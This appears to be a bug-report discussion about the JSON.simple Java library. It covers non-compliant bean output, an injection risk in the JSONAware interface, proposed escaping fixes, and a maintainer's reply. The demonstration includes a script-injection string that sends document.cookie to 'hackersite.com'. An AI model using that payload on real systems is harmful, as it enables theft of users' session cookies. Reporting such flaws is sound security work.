I'm not so sure about its compliance, it failed on a simple test of dumping a bean in a Map.

JSONObject json = new JSONObject();
json.putAll(new BeanMap(bean));
System.out.println(json.toJSONString());

and it outputs

{"value":"theValue","class":class fi.gtech.json.TestInterface$Beanie,"cyclic":fi.gtech.json.TestInterface$Beanie@f668b23,"number":23}

Also the existence of JSONAware as a public interface opens the API to developer errors such as the following

	public static void main(String[] args) {
		JSONObject json = new JSONObject();
		json.put("badBean", new BadBean(CONSTANT));
		System.out.println("eval()ed to \n(" + json.toJSONString() + ")");
		
		json = new JSONObject();
		json.put("badBean", new BadBean("\"}); ajax.send('hackersite.com', document.cookie); ...."));
		System.out.println("eval()ed to \n(" + json.toJSONString() + ")");
	}
	
	public static class BadBean implements JSONAware {

		private String string = "string";
		
		public BadBean(String string) {
			this.string = string;
		}	
		
		public String getString() {
			return string;
		}
		public void setString(String string) {
			this.string = string;
		}
		public String toJSONString() {
			return "\"" + string + "\"";  
		}
	}

which outputs

eval()ed to 
({"badBean":"myconstant"})
eval()ed to 
({"badBean":""}); ajax.send('hackersite.com', document.cookie); ...."})

to fix this you should replace JSONValue.java line 154: out.write(value.toString()); with

        out.write('\"');
	out.write(escape(value.toString()));
        out.write('\"');

and

JSONValue.java line 207: return value.toString();

with

return "\"" + escape(value.toString()) + "\"";

And take the public statement out of both JSONAware and JSONStreamAware

I don't think having Beans able to represent themselves as JSON is a good design. One would not have a toHTML() method in every bean you sue a JSP or similar to represent the Bean. It makes better sense to separate the model and the view and have JSONObject itself handle representing beans as JSON, perhaps have a method in JSONObject called putBean(Object bean) that does reflection and reads the getter methods, producing valid JSON output when requested.

JSON.simple guarantees that the result is compliant to JSON spec only if the rule of it is followed:

http://code.google.com/p/json-simple/wiki/MappingBetweenJSONAndJavaEntities

The interface JSONAware provides the freedom to the user to make any extensions (such as comments which are not supported by the JSON spec), so the user should know exactly what they are doing when they implement the interface.